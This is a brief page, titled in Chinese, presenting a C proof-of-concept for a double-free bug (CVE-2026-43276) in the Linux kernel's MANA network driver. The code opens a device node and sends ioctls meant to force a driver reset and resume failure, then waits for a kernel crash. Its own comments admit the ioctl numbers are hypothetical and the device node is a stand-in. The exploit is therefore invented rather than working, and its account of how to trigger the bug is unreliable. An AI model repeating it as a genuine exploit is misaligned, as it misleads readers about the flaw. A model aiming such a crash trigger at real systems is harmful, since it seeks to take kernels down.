CVE-2026-43276 Linux内核MANA驱动双重释放漏洞

/* * PoC for CVE-2026-43276: Trigger double destroy_workqueue in mana driver * Note: This requires a system with the vulnerable MANA driver and specific hardware simulation. * This code attempts to trigger the race condition by forcing a reset and resume failure. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> // Hypothetical ioctl definitions for the mana driver to trigger reset #define MANA_IOCTL_RESET 0x1 #define MANA_IOCTL_INJECT_ERROR 0x2 int main() { int fd; printf("[*] Attempting to open mana device..."); // In a real scenario, this would be the actual device node fd = open("/dev/mana_control", O_RDWR); if (fd < 0) { printf("Failed. (Device not found or permissions denied)\n"); return -1; } printf("Done.\n"); printf("[*] Triggering mana_serv_reset via ioctl..."); if (ioctl(fd, MANA_IOCTL_RESET, NULL) < 0) { perror("ioctl reset failed"); } printf("Done.\n"); printf("[*] Injecting error to simulate mana_gd_resume failure (-ETIMEDOUT)..."); // This step aims to force the path into mana_serv_rescan if (ioctl(fd, MANA_IOCTL_INJECT_ERROR, NULL) < 0) { perror("ioctl inject failed"); } printf("Done.\n"); printf("[*] Waiting for kernel panic/crash (Double Free)..."); sleep(2); close(fd); return 0; }